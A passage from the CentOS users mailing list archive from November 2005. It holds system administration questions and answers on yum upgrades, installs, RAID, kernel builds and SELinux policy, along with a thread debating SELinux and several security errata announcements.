You get so used to yum upgrades going so smoothly but I learned the hard way to always make a thorough inspection after a yum update. I let yum go ahead and upgrade from 3.5 to 3.6. Afterwards I made some basic queries to httpd, postfix and bind named (probably a cached query). I even checked the /var/named/ directory and saw all my hosts files. So looked like another smooth ride, well until today I noticed my domains dropped off the net. Too bad I did not check the bind gui or look at /etc/named.conf after the yum update since it was replaced with a generic version from 3.6. Luckily I copied /etc/named.conf-rpmsave to named.conf and I am back in business, well at least in 24 to 72 hours for the rest of the world :( __________________________________ Yahoo! FareChase: Search multiple travel sites in one click. http://farechase.yahoo.com

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memoir and latex
by Sharon Kimble 18 Nov '05

18 Nov '05

I installed Centos 4.2 last night, I moved from Fedora Core 4 to it as I wanted to get off the distro upgrade treadmill, so I'm still learning about centos. I've been trying to add the memoir package to be used with latex but I can't find the exact right place for it. Can anyone who's installed it or knows about latex tell me please? Hopefully thanks Sharon. -- 12:50:25 up 58 min, 3 users, load average: 1.58, 1.72, 1.80 A taste of linux http://www.sharons.org.uk/taste/index.html efever http://www.efever.blogspot.com/ Centos 4.2, KDE 3.4.3-1.0, OpenOffice 2.0 Registered Linux user 334501

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Connecting via ssh i don't see accent characters
by iagosineiro＠yahoo.es 18 Nov '05

18 Nov '05

Hi. When I connect via ssh I don't see the accent characters for example when I execute setup config utility, but locally I see the accent characters. Note: It's a CentOS 4.2 configured for spanish. Iago

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Re: [CentOS] Minimal installation How-to?
by Brian T. Brunner 18 Nov '05

18 Nov '05

>From http://www.centos.org/modules/newbb/viewtopic.php?topic_id=798&forum=31 Re: centos4 server CD _almost_ here :) Posted on: 2005/8/22 16:43 _________________ -- Karanbir Singh { http://www.karan.org/ } >From http://www.karan.org/blog/ (the freak will see you now) CentOS 4.2 Server CD - i386 Released The single CD Server edition of CentOS 4.2/i386 has now been released. It lets you setup a basic CentOS 4 system along with the server components. Anything else that is needed can then be installed via yum or up2date once the system is running. The resulting installed system is identical to a normal CentOS 4 install ( with yum and up2date ). One important thing to keep in mind - this installer uses the stock i686 kernel - therefore i586 machines are not supported ( including MiniITX, ViaC3's, AMD K6' etc ). If you need to install on such machines, you will need to get the full distro. Download it from the /centos/4/isos/i386/ directory on your local mirror or pickup the torrent. We appreciate all feedback ( via http://bugs.centos.org/ ), including RFE's and Bug notices. Enjoy! -- Karanbir Singh { http://www.karan.org/ } Brian Brunner brian.t.brunner(a)gai-tronics.com (610)796-5838 >>> seanos(a)seanos.net 11/16/05 04:52AM >>> Tim Edwards wrote: > Sanjay Arora wrote: >> I would like to install the minimal level of Centos, with yum & selinux >> on my servers during the basic install from CD with Anaconda and then >> use yum to install whatever application is major on that server, so that >> yum installs its dependencies only, thus keeping to the target of >> installing only what is needed on a server. > > When you get to the package selection stage of the install scroll down > to the bottom and select 'Minimal Install'. I believe CentOS team released a CentOS 'Server CD', single CD for said 'minimal' installs. Recall something mensioned about installer using i586 or i686 kernel - Quick look through archive should show post in question. Regards, Sean _______________________________________________ CentOS mailing list CentOS(a)centos.org http://lists.centos.org/mailman/listinfo/centos ******************************************************************* This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This footnote also confirms that this email message has been swept for the presence of computer viruses. www.hubbell.com - Hubbell Incorporated

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yum update - Glibc Problem
by Lee W 18 Nov '05

18 Nov '05

Hi, I've just done a fresh install of Centos 4.0 on a Via C3 Based system using the Centos DVD I downloaded a while ago. Then install goes though fine as does running 'yum check-update'. However when running the actual 'yum update', it downloads all the headers but afterwards displays the following errors:- --> Processing Dependency: glibc-common = 2.3.4-2 for package: glibc --> Finished Dependency Resolution Error: Missing Dependency: glibc-common = 2.3.4-2 is needed by package glibc I've checked using 'rpm -q glibc-common' that the appropriate version is installed (The system wouldn't run otherwise would it?):- [root@doc ~]# rpm -q glibc-common glibc-common-2.3.4-2 Has anyone else experienced this problem, I'm sure that I have been able to install Centos 4 on a Via system before, so does anyone know what (if anything) has changed with the recent versions of Glibc? Thanks in advance for any assistance offered Regards Lee

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Flashplayer-plugin
by Robert 18 Nov '05

18 Nov '05

I know that flashplayer-plugin is not packaged or distributed by CentOS but there's a RedHat "Critical" advisory at https://rhn.redhat.com/errata/RHSA-2005-835.html that I don't believe has been mentioned here. There is no CentOS rpm that I can find but the binary of version 7.0.61 is available from http://www.macromedia.com/shockwave/download/download.cgi?P1_Prod_Version=S… and is pretty much a no-talent install. (Sure would be nice if rpm knew about it, though...)

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single CD server install ISO disk ready?
by Robert 18 Nov '05

18 Nov '05

greetings, i was wondering if i missed an announcement or if the quarterly update pushed back the release of the single CD server install ISO ??? :-) is there an ETA please? thank you! - rh -- Robert Hanson - Abba Communications Computer & Internet Services (509) 624-7159 - www.abbacomm.net

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Re: [CentOS] SELinux threads, cynicism, one-upmanship, etc.
by Brian T. Brunner 18 Nov '05

18 Nov '05

Brian: DON'T focus blame on "consultancy". The management style you lambaste is prevalent to the point of being pandemic. The problem is NOT lack of accountability, it is rather one of "to whom are we accountable?" My products are NOT reviewed by geeks, theorists, and techno-pedants. My products are accountable to testers who are accountable to marketing who are accountable to stock holders and well-drillers and factory owners. They want a profit product, not a perfect product. "Good, fast, cheap; pick two" says it well. --the *other* pedantic Brian-- Brian Brunner brian.t.brunner(a)gai-tronics.com (610)796-5838 >>> thebs413(a)earthlink.net 11/17/05 01:08PM >>> Peter Farrow <peter(a)farrows.org> wrote: > running a consultancy business where time is money, tunring > it off and configuring as we always did before represents Consulting is why the IT infrastructure and security of this country has gone to crap. There is no accountability. There is only the pressure to complete things in unrealistic timeframes. Sound security policy has been put out-the-window by consulting, support non-sense, etc... You have to "tear it down" so you can "dumb it down" for people. And it happens in the most crucial of our nation's networks. Why? Consultants aren't accountable in most cases. And that's typically because the clients want it done now. ******************************************************************* This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This footnote also confirms that this email message has been swept for the presence of computer viruses. www.hubbell.com - Hubbell Incorporated

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Custom kernel RPM/SRPM
by Giovanni P. Tirloni 18 Nov '05

18 Nov '05

Hi, I've built customs kernels from the SRPMs with the following: rpmbuild -bp --target=i686 /path/to/spec cd /usr/src ln -s /usr/src/redhat/BUILD/kernel-x.y.z/linux-x.y.z linux cd linux make oldconfig make menuconfig make all make modules make modules_install And it works just fine. The problem now is that I think installing that way isn't "cool": I wan to build my own custom kernel RPM/SRPM. I thought about doing a "rpmbuild -bp" and change the options. Then a "rpmbuild -bc --short-circuit" and a "rpmbuild -bi --short-circuit". What's the correct way of doing this? Thanks in advance, -- Giovanni P. Tirloni http://blog.tirloni.org

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Re: [CentOS] SELinux threads, cynicism, one-upmanship, etc.
by Brian T. Brunner 18 Nov '05

18 Nov '05

What I implied, that Brian deleted, is that my product is in alien hands (some of whom can spell "Linux") and must pass the muster of the testers who answer to the marketeers who answer to the stock holders and customers. My product must fit the hands that work it. NONE of them know what SELinux is (compared to Linux) and (properly) resent every extent of my making them learn Linux. Their day job has NOTHING to do with learning Linux, let alone SELinux. Therefore, if SELinux breaks *anything* it gets switched off and is not part of the product. If it is a seamless fit, with no regression, then it can be allowed. Any self-important pedant who insists that this bully-boss attribute shall be catered to will be pedanted off the drilling platform. Walk home, twit! Land is only 2 miles away (straight down). "Ahhh but this is better and it is the future!" When (if) it doesn't break my stride, it will become the present. Until then it's already history. This rant/diatribe is for the benefit of people making "improvements" in a running, deployed, supported product. I think, at this point, I'll depart from the debate. Brian Brunner brian.t.brunner(a)gai-tronics.com (610)796-5838 >>> lesmikesell(a)gmail.com 11/17/05 01:40PM >>> On Thu, 2005-11-17 at 12:29, Bryan J. Smith wrote: > "Brian T. Brunner" wrote: > > it is rather one of "to whom are we accountable?" > > I'm accountable to myself. > > I know I shock people, but if I'm to blame for anything, I'm > the first to admit it. I don't hide behind things, and I > have refused to do things before. And I've been let go by a > client for it too. Accepting the blame remotely isn't quite the same as working at the same place for a decade or more and having to live with what you built. Your rants on the side of security vs. convenience would be more believable if you added that you did all of your own work under such conditions and planned to continue for the foreseeable future. -- Les Mikesell lesmikesell(a)gmail.com _______________________________________________ CentOS mailing list CentOS(a)centos.org http://lists.centos.org/mailman/listinfo/centos ******************************************************************* This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This footnote also confirms that this email message has been swept for the presence of computer viruses. www.hubbell.com - Hubbell Incorporated

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migration from redhat AS3/4
by Bassett, Mark 18 Nov '05

18 Nov '05

We have 30 or so boxes that are currently running either redhat as3 or as4 and would like to migrate them to Centos 4.2. We have a local centos 4.2 repository using yam. I have in the past updated es3 to as3 by removing the redhat-release rpm and installing the other redhat rpm. I realize there are virtually no differences in es and as3, except for access to additional packages. In any case, on the AS4 boxes would we be able to do the same thing? Remove the redhat-release rpm and install the centos-release file then switch the yum repository and update? Or are we talking a reinstall? I doubt that it will work from AS3 however, but I thought I'd throw that in as well. Thanks in advance, Mark

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Putting /etc in cvs
by Ugo Bellavance 18 Nov '05

18 Nov '05

Hi, I'd like to put my servers' config files in cvs to make it easier to manage (yes, I know about Cfengine). I've been looking for a tutorial and I could find any, and since I'm not a CVS guru, I tried a few things, without even knowing if I'm doing it right. Any hints? Regards, -- Ugo -> Please don't send a copy of your reply by e-mail. I read the list. -> Please avoid top-posting, long signatures and HTML, and cut the irrelevant parts in your replies.

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kqemu centos3
by Dave 17 Nov '05

17 Nov '05

Anyone get kqemu to make in Centos3? I'm getting modules disabled messages, AFAIK module support is enabled, its the stock kernel. make[1]: Leaving directory `/tmp/qemu-0.7.2/mips-softmmu' make -C kqemu make[1]: Entering directory `/tmp/qemu-0.7.2/kqemu' make -C /lib/modules/2.4.21-37.EL/build SUBDIRS=`pwd` modules make[2]: Entering directory `/usr/src/linux-2.4.21-37.EL' The present kernel configuration has modules disabled. Type 'make config' and enable loadable module support. Then build a kernel with module support enabled. make[2]: *** [modules] Error 1 make[2]: Leaving directory `/usr/src/linux-2.4.21-37.EL' make[1]: *** [kqemu.o] Error 2 make[1]: Leaving directory `/tmp/qemu-0.7.2/kqemu' make: *** [all] Error 2

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CESA-2005:810 / CESA-2005:811 -- missing src.rpms?
by Matthew Miller 17 Nov '05

17 Nov '05

Recent updates to gdk-pixbuf and gtk2 have the binary rpms in the updates tree, but not the src.rpms. I know we can just get those from Red Hat, but it's nicer if we've got a coherent, self-contained distribution here.... -- Matthew Miller mattdm(a)mattdm.org <http://mattdm.org/> Boston University Linux ------> <http://linux.bu.edu/>

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RE: [CentOS] SELinux threads, cynicism, one-upmanship, etc.
by Brian T. Brunner 17 Nov '05

17 Nov '05

>All I want is enough power to do my job... and to not be distracted from *my* job to tackle what some stranger in Illinois thinks my job should be! SELinux is my alligator, not my swamp. CentOS4 allowed me to switch the thing off at install. Done. When SELinux is my job, I'll figure it out. Until then, I don't care who I irk, disappoint, or perturb by switching it off. Brian Brunner brian.t.brunner(a)gai-tronics.com (610)796-5838 >>> noyler(a)khimetrics.com 11/16/05 05:05PM >>> > The main reason I think sysadmins in general seem to hate SELinux is the > 'Mandatory' part of 'Mandatory Access Control' : that is, superuser power > is too addictive to get rid of, and SELinux can do away with 'superuser' > powers entirely. I disagree with this. The main reason I dislike SELinux is the way I was introduced to it. I wasted quite a bit of time on an issue before I even knew what SELinux was because it was turned on by default on an FC2 machine. I was asked by another admin to use FC2 on a particular job, and I never saw SELinux. The turning it on by default irked me. Superuser power as a trip is just silly. What's the difference? All I want is enough power to do my job. _______________________________________________ CentOS mailing list CentOS(a)centos.org http://lists.centos.org/mailman/listinfo/centos ******************************************************************* This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This footnote also confirms that this email message has been swept for the presence of computer viruses. www.hubbell.com - Hubbell Incorporated

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CentOS-announce Digest, Vol 9, Issue 11
by centos-announce-request＠centos.org 17 Nov '05

17 Nov '05

Send CentOS-announce mailing list submissions to centos-announce(a)centos.org To subscribe or unsubscribe via the World Wide Web, visit http://lists.centos.org/mailman/listinfo/centos-announce or, via email, send a message with subject or body 'help' to centos-announce-request(a)centos.org You can reach the person managing the list at centos-announce-owner(a)centos.org When replying, please edit your Subject line so it is more specific than "Re: Contents of CentOS-announce digest..." Today's Topics: 1. CESA-2005:810-01: Important CentOS 2 i386 gdk-pixbuf security update (John Newbigin) ---------------------------------------------------------------------- Message: 1 Date: Thu, 17 Nov 2005 09:24:45 +1100 From: John Newbigin <jnewbigin(a)ict.swin.edu.au> Subject: [CentOS-announce] CESA-2005:810-01: Important CentOS 2 i386 gdk-pixbuf security update To: centos-announce(a)centos.org Message-ID: <437BB1AD.7030501(a)ict.swin.edu.au> Content-Type: text/plain; charset=us-ascii; format=flowed The following errata for CentOS-2 have been built and uploaded to the centos mirror: RHSA-2005:810-01 Important: gdk-pixbuf security update Files available: gdk-pixbuf-0.22.0-12.el2.3.i386.rpm gdk-pixbuf-devel-0.22.0-12.el2.3.i386.rpm gdk-pixbuf-gnome-0.22.0-12.el2.3.i386.rpm More details are available from the RedHat web site at https://rhn.redhat.com/errata/rh21as-errata.html The easy way to make sure you are up to date with all the latest patches is to run: # yum update -- John Newbigin Computer Systems Officer Faculty of Information and Communication Technologies Swinburne University of Technology Melbourne, Australia http://www.ict.swin.edu.au/staff/jnewbigin ------------------------------ _______________________________________________ CentOS-announce mailing list CentOS-announce(a)centos.org http://lists.centos.org/mailman/listinfo/centos-announce End of CentOS-announce Digest, Vol 9, Issue 11 **********************************************

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Turning root partition into a RAID array
by Nigel kendrick 17 Nov '05

17 Nov '05

I have a CentOS 4.2 system that was set up VERY quickly following the demise of its former life as a CentOS 3 server - you don't want the full story, but it had to be done quickly to get a company up and working following a slight disaster involving an electrician, a portable appliance safety tester and a pulled power cable - anyway, here's where I am at... Everything is running fine but I now want to mirror the root partition (/dev/hda3). I have read quite a few set of notes on the theory but since they contain conflicting advice I am hoping someone here can set me straight - here's what IO want to do: hda3 and hde3 become a mirrored pair (/dev/md0) and this is mounted at boot time as / Is it as simple as a quick mdadm command and then an edit of /etc/inittab?? If I try and use mdadm right now I get complaints that /dev/hda3 is busy (fair enough) so I guess I need to be in less than 'full steam ahead' mode to make the change - over to you.... Thanks

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question
by adrian kok 17 Nov '05

17 Nov '05

Hi all I have the following questions 1/ do you know how to interrupt the console to capture the message when the system is in booting 2/ I use "top" to monitor the process to output the file. but the file is empty. Do you know why? Thank you

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Generate 32bit programs on x86_64 architecture?
by Michael Ubell 17 Nov '05

17 Nov '05

I'm trying to run purify on CentOS on an Intel Pentium 4/630 processor. Purify does not like the 64bit code. Is there some way to compile and run programs so that they are only using the 32 bit model? I tried gcc -m32 but then the system libraries come up missing. Purify engine: Error: Couldn't open the file crt1.o Purify engine: Error: Couldn't open the file crti.o Purify engine: Error: Couldn't resolve library directive: -ltcl8.4, (couldn't find library libtcl8.4.so or libtcl8.4.a). Purify engine: Error: Couldn't resolve library directive: -ldl, (couldn't find library libdl.so or libdl.a). Purify engine: Error: Couldn't resolve library directive: -lieee, (couldn't find library libieee.so or libieee.a). Purify engine: Error: Couldn't resolve library directive: -lm, (couldn't find library libm.so or libm.a). Purify engine: Error: Couldn't resolve library directive: -lc, (couldn't find library libc.so or libc.a). Purify engine: Error: Couldn't open the file crtn.o Purify engine: Error: Couldn't resolve library directive: -ldl, (couldn't find library libdl.so or libdl.a).

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Problem with X...help please.
by Sanjay Arora 17 Nov '05

17 Nov '05

List: I am using Centos updated till date. Last night I shut down the system and X was working fine...today morning I start X and it does not work for my normal user. X starts for root & other users. The error output seems totally incomprehensibe and scrolls away from the screen too quickly. The /var/log/Xorg.0.log seems to have only the subsequent success of login of other user or I can't seem to find the correct error in it. Only thing I did yesterday in addition to normal browsing & emailing & yum updation...was to install the Yahoo messenger for RH9...was said to be compatible with ES4 and it did work perfectly fine. How do I startx X for the user it is not starting for? or at least where do I find the errors to report. Only display 0 setup for X. Help a desperate man please !! ;-((( Sanjay. --------------------------------- Yahoo! FareChase - Search multiple travel sites in one click.

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RE: [CentOS] SELinux threads, cynicism, one-upmanship, etc.
by Nathan Oyler 17 Nov '05

17 Nov '05

> Ummm, why were you installing Fedora Core 2 in a _production_ > environment? > > I mean, I'm all for Fedora Core in a production environment, > but _not_ the latest version that changes everything (which > Fedora Core 2 did). Yikes! It was a request I had nothing to do with. I didn't say it was an entirely reasonable argument, but those were my feelings. I wouldn't have installed FC2 if that wasn't what was forced on me. I have my domains, and this wasn't one of them. But yes, you're right.

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RE: [CentOS] SELinux threads, cynicism, one-upmanship, etc.
by Nathan Oyler 17 Nov '05

17 Nov '05

> The main reason I think sysadmins in general seem to hate SELinux is the > 'Mandatory' part of 'Mandatory Access Control' : that is, superuser power > is too addictive to get rid of, and SELinux can do away with 'superuser' > powers entirely. I disagree with this. The main reason I dislike SELinux is the way I was introduced to it. I wasted quite a bit of time on an issue before I even knew what SELinux was because it was turned on by default on an FC2 machine. I was asked by another admin to use FC2 on a particular job, and I never saw SELinux. I turn it on now for all machines, but if you were to have asked me at any point in the week my feelings on SELinux they would have not been pleasant. At the time, I looked and there wasn't any real documentation for what I was trying to do, and why it failed. Now after time has passed, I realize what was going on but when you're in the middle of a job on a time crunch, the last thing you want to do is learn a new security system. I turned the thing off. Got what I needed done, and came back to the issue at a later date. The turning it on by default irked me. Superuser power as a trip is just silly. What's the difference? All I want is enough power to do my job.

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correct way to migrate old data on hda to new sda
by Jerry Geis 17 Nov '05

17 Nov '05

I am migrating off of a 40GIG hda to a new 160GIG sda disk. I plan on installing 4.2 from scratch. But after that what is the correct way do transfer all the data from hda (home partition really) to the new sda home partition? I presume there is just a couple files in /etc to restore also. Like hosts, passwd. Anything else? Other suggestions welcome also. this is my first time migrating to a new disk. THanks, jerry

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Java with 4.2
by Russ N3TIH 17 Nov '05

17 Nov '05

whats involved to have full java support with Centos 4.2 ? Russ

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Downloading v4
by kevin.kempter＠dataintellect.com 17 Nov '05

17 Nov '05

Hi List; I see in the 4.2 downloads area the following: [ ] CentOS-4.2-i386-bin1of4.iso 11-Oct-2005 13:07 618M [ ] CentOS-4.2-i386-bin2of4.iso 11-Oct-2005 13:13 635M [ ] CentOS-4.2-i386-bin3of4.iso 11-Oct-2005 13:20 639M [ ] CentOS-4.2-i386-bin4of4.iso 11-Oct-2005 13:22 217M [ ] CentOS-4.2.ServerCD-i386.iso 07-Nov-2005 04:36 558M What is the 4.2ServerCD ? I plan to download the 4 bin cd's and load the os on a sony vaio laptop. Do I also need the server cd?

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Re: [CentOS] Downloading v4
by Brian T. Brunner 17 Nov '05

17 Nov '05

It is a single-CD distribution of CentOS 4 that (so I hear) will install in *small* places. Since it is intended as a small server distribution, the package set is sharply reduced. Brian Brunner brian.t.brunner(a)gai-tronics.com (610)796-5838 >>> kevin.kempter(a)dataintellect.com 11/16/05 01:56PM >>> Hi List; I see in the 4.2 downloads area the following: [ ] CentOS-4.2-i386-bin1of4.iso 11-Oct-2005 13:07 618M [ ] CentOS-4.2-i386-bin2of4.iso 11-Oct-2005 13:13 635M [ ] CentOS-4.2-i386-bin3of4.iso 11-Oct-2005 13:20 639M [ ] CentOS-4.2-i386-bin4of4.iso 11-Oct-2005 13:22 217M [ ] CentOS-4.2.ServerCD-i386.iso 07-Nov-2005 04:36 558M What is the 4.2ServerCD ? I plan to download the 4 bin cd's and load the os on a sony vaio laptop. Do I also need the server cd? _______________________________________________ CentOS mailing list CentOS(a)centos.org http://lists.centos.org/mailman/listinfo/centos ******************************************************************* This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This footnote also confirms that this email message has been swept for the presence of computer viruses. www.hubbell.com - Hubbell Incorporated

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[OT] Witty one liners or computer related proverbs
by Peter Farrow 16 Nov '05

16 Nov '05

Dear All, I need some witty computer related proverbs or one liners that some of have used in the past as footers for your emails for example. I particularly remember a PERL based transliteration joke/footer that when run in PERL produces a witty output.... This is to fix a problem internally created by an over zealous salesman at my company pinning up A4 sheets with bullSh*t sales proverbs on them!!! thanks Pete

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Invitation
by manish jain 16 Nov '05

16 Nov '05

Hi! This promotion made me think of you. Sign up and we can both get the new iPod nano! http://www.urnpopst.com/?r=ESEDEiEWYBIRElQDASEM&i=yh&z=1 Talk to you soon! __________________________________ Yahoo! Mail - PC Magazine Editors' Choice 2005 http://mail.yahoo.com

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Re: [CentOS] Minimal installation How-to?
by Brian T. Brunner 16 Nov '05

16 Nov '05

Building a new ISO with a <= i586 kernel should not be hard. Brian Brunner brian.t.brunner(a)gai-tronics.com (610)796-5838 >>> brian.t.brunner(a)gai-tronics.com 11/16/05 10:08AM >>> >From http://www.centos.org/modules/newbb/viewtopic.php?topic_id=798&forum=31 Re: centos4 server CD _almost_ here :) Posted on: 2005/8/22 16:43 _________________ -- Karanbir Singh { http://www.karan.org/ } >From http://www.karan.org/blog/ (the freak will see you now) CentOS 4.2 Server CD - i386 Released The single CD Server edition of CentOS 4.2/i386 has now been released. It lets you setup a basic CentOS 4 system along with the server components. Anything else that is needed can then be installed via yum or up2date once the system is running. The resulting installed system is identical to a normal CentOS 4 install ( with yum and up2date ). One important thing to keep in mind - this installer uses the stock i686 kernel - therefore i586 machines are not supported ( including MiniITX, ViaC3's, AMD K6' etc ). If you need to install on such machines, you will need to get the full distro. Download it from the /centos/4/isos/i386/ directory on your local mirror or pickup the torrent. We appreciate all feedback ( via http://bugs.centos.org/ ), including RFE's and Bug notices. Enjoy! -- Karanbir Singh { http://www.karan.org/ } Brian Brunner brian.t.brunner(a)gai-tronics.com (610)796-5838 >>> seanos(a)seanos.net 11/16/05 04:52AM >>> Tim Edwards wrote: > Sanjay Arora wrote: >> I would like to install the minimal level of Centos, with yum & selinux >> on my servers during the basic install from CD with Anaconda and then >> use yum to install whatever application is major on that server, so that >> yum installs its dependencies only, thus keeping to the target of >> installing only what is needed on a server. > > When you get to the package selection stage of the install scroll down > to the bottom and select 'Minimal Install'. I believe CentOS team released a CentOS 'Server CD', single CD for said 'minimal' installs. Recall something mensioned about installer using i586 or i686 kernel - Quick look through archive should show post in question. Regards, Sean _______________________________________________ CentOS mailing list CentOS(a)centos.org http://lists.centos.org/mailman/listinfo/centos ******************************************************************* This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This footnote also confirms that this email message has been swept for the presence of computer viruses. www.hubbell.com - Hubbell Incorporated _______________________________________________ CentOS mailing list CentOS(a)centos.org http://lists.centos.org/mailman/listinfo/centos ******************************************************************* This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This footnote also confirms that this email message has been swept for the presence of computer viruses. www.hubbell.com - Hubbell Incorporated

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Re: [CentOS] [OT] Witty one liners or computer related proverbs
by Brian T. Brunner 16 Nov '05

16 Nov '05

/usr/games/fortune, run in a forever loop, should provide you with a fair collection in short order. Midget fortune teller escapes! Headline: Small Medium at large! Brian Brunner brian.t.brunner(a)gai-tronics.com (610)796-5838 >>> peter(a)farrows.org 11/16/05 09:50AM >>> Dear All, I need some witty computer related proverbs or one liners that some of have used in the past as footers for your emails for example. I particularly remember a PERL based transliteration joke/footer that when run in PERL produces a witty output.... This is to fix a problem internally created by an over zealous salesman at my company pinning up A4 sheets with bullSh*t sales proverbs on them!!! thanks Pete _______________________________________________ CentOS mailing list CentOS(a)centos.org http://lists.centos.org/mailman/listinfo/centos ******************************************************************* This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This footnote also confirms that this email message has been swept for the presence of computer viruses. www.hubbell.com - Hubbell Incorporated

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CentOS-announce Digest, Vol 9, Issue 10
by centos-announce-request＠centos.org 16 Nov '05

16 Nov '05

Send CentOS-announce mailing list submissions to centos-announce(a)centos.org To subscribe or unsubscribe via the World Wide Web, visit http://lists.centos.org/mailman/listinfo/centos-announce or, via email, send a message with subject or body 'help' to centos-announce-request(a)centos.org You can reach the person managing the list at centos-announce-owner(a)centos.org When replying, please edit your Subject line so it is more specific than "Re: Contents of CentOS-announce digest..." Today's Topics: 1. CESA-2005:810 Important CentOS 3 i386 gdk-pixbuf - security update (Tru Huynh) 2. CESA-2005:810 Important CentOS 3 x86_64 gdk-pixbuf - security update (Tru Huynh) 3. CESA-2005:811 Important CentOS 3 i386 gtk2 - security update (Tru Huynh) 4. CESA-2005:811 Important CentOS 3 x86_64 gtk2 - security update (Tru Huynh) 5. CESA-2005:811 Important CentOS 4 x86_64 gtk2 - security update (Johnny Hughes) 6. CESA-2005:811 Important CentOS 4 i386 gtk2 - security update (Johnny Hughes) 7. CESA-2005:810 Important CentOS 4 i386 gdk-pixbuf - security update (Johnny Hughes) 8. CESA-2005:810 Important CentOS 4 x86_64 gdk-pixbuf - security update (Johnny Hughes) 9. CESA-2005:810 Important CentOS 3 ia64 gdk-pixbuf - security update (Pasi Pirhonen) 10. CESA-2005:811 Important CentOS 3 ia64 gtk2 - security update (Pasi Pirhonen) 11. CESA-2005:810 Important CentOS 4 ia64 gdk-pixbuf - security update (Pasi Pirhonen) 12. CESA-2005:811 Important CentOS 4 ia64 gtk2 - security update (Pasi Pirhonen) 13. CESA-2005:810 Important CentOS 4 axp gdk-pixbuf - security update (Pasi Pirhonen) 14. CESA-2005:810 Important CentOS 3 s390(x) gdk-pixbuf - security update (Pasi Pirhonen) 15. CESA-2005:810 Important CentOS 4 s390(x) gdk-pixbuf - security update (Pasi Pirhonen) 16. CESA-2005:811 Important CentOS 4 axp gtk2 - security update (Pasi Pirhonen) 17. CESA-2005:811 Important CentOS 3 s390(x) gtk2 - security update (Pasi Pirhonen) 18. CESA-2005:811 Important CentOS 4 s390(x) gtk2 - security update (Pasi Pirhonen) ---------------------------------------------------------------------- Message: 1 Date: Tue, 15 Nov 2005 17:47:15 +0100 From: Tru Huynh <tru(a)centos.org> Subject: [CentOS-announce] CESA-2005:810 Important CentOS 3 i386 gdk-pixbuf - security update To: centos-announce(a)centos.org Message-ID: <20051115164715.GA16232(a)sillage.bis.pasteur.fr> Content-Type: text/plain; charset="us-ascii" CentOS Errata and Security Advisory CESA-2005:810 gdk-pixbuf security update for CentOS 3 i386: https://rhn.redhat.com/errata/RHSA-2005-810.html The following updated file has been uploaded and is currently syncing to the mirrors: i386: updates/i386/RPMS/gdk-pixbuf-0.22.0-13.el3.3.i386.rpm updates/i386/RPMS/gdk-pixbuf-devel-0.22.0-13.el3.3.i386.rpm updates/i386/RPMS/gdk-pixbuf-gnome-0.22.0-13.el3.3.i386.rpm source: updates/SRPMS/gdk-pixbuf-0.22.0-13.el3.3.src.rpm You may update your CentOS-3 i386 installations by running the command: yum update gdk-pixbuf\* Tru -- Tru Huynh (CentOS-3 i386/x86_64 Package Maintenance) http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xBEFA581B

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RE: [CentOS] question[Scanned]
by Pascal MIQUET 16 Nov '05

16 Nov '05

Did you try the dmesg command when the system is up ? HTH Pascal -----Message d'origine----- De : centos-bounces(a)centos.org [mailto:centos-bounces@centos.org] De la part de adrian kok Envoyé : mercredi 16 novembre 2005 04:46 À : centos(a)centos.org Objet : [CentOS] question[Scanned] Hi all I have the following questions 1/ do you know how to interrupt the console to capture the message when the system is in booting 2/ I use "top" to monitor the process to output the file. but the file is empty. Do you know why? Thank you _______________________________________________ CentOS mailing list CentOS(a)centos.org http://lists.centos.org/mailman/listinfo/centos

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Minimal installation How-to?
by Sanjay Arora 16 Nov '05

16 Nov '05

Hi all I would like to install the minimal level of Centos, with yum & selinux on my servers during the basic install from CD with Anaconda and then use yum to install whatever application is major on that server, so that yum installs its dependencies only, thus keeping to the target of installing only what is needed on a server. Please advise pros/cons of this approach and how to do it. I have never used anaconda in such a way before...please advise. With best regards. Sanjay.

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SELinux on CentOS4
by James B. Byrne 16 Nov '05

16 Nov '05

craigwhite at azapple.com wrote: > The technical information is good but it seems to zip over my head > and a selinux for dummies thing would seem to be helpful but I did > post up my alterations to local.te for the 2 issues that I was > dealing with and yea, it fixed them. Consider this book from O'Reilly: http://www.linuxdevcenter.com/pub/a/linux/excerpt/selnx_1/ Not exactly for dummies, but far better than groping in the dark. Regards, Jim -- *** e-mail is not a secure channel *** mailto:byrnejb.<token>@harte-lyne.ca James B. Byrne Harte & Lyne Limited vox: +1 905 561 1241 9 Brockley Drive fax: +1 905 561 0757 Hamilton, Ontario <token> = hal Canada L8E 3C3

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SELinux on CentOS4
by James B. Byrne 16 Nov '05

16 Nov '05

I regret the delay in replying to this topic but I am a digest subscriber so I only see list traffic once every 24 hours. When I moved from RHES3 to CentOS4 back in April/May of this year I was bitten by the SELinux gnat as well, and the temptation to swat a distracting irritation by killing it in its bed nearly proved irresistible. However, taking to heart the advice given to me here and reading about SELinux on RedHat's web site I choose not to. Rather I discovered how to get immediate fixes to the SELinux permissions for specific programs applied to the host's local policy while seeking confirmation here and elsewhere as to whether the policy changes proposed by "audit2allow" made sense or should be adjusted. The process of reconfiguring the local policy for SELinux is in itself almost trivial, assuming that one has first installed the applicable selinux-policy-targeted-sources rpm package. One need only first establish that the problem is in fact caused by SELinux by grep'ing the system log file (/var/log/messages) for entries containing "avc" relating to the application in question. If this proves the case then first "cd /etc/selinux/targeted/src/policy" and then "make reload". Then run the program that is having problems with SELinux, then run audit2allow (#audit2allow -l -i /var/log/messages)and gather the resulting policy recommendations into a text file. The -l flag limits the report to those log entries made by SELinux since the last policy reload. You can then: add them to your local policy file (/etc/selinux/targeted/src/policy/domains/misc/local.te); cd into /etc/selinux/targeted/src/policy; and make reload as root. You may have to repeat this process several times to exhaust all of the circumstances that a packages trespasses against SELinux. You will probably find it most convenient if you keep these changes segregated by application in your local policy file. I also have found it useful to post them as a set on SELinux related mailing lists (and even this list) 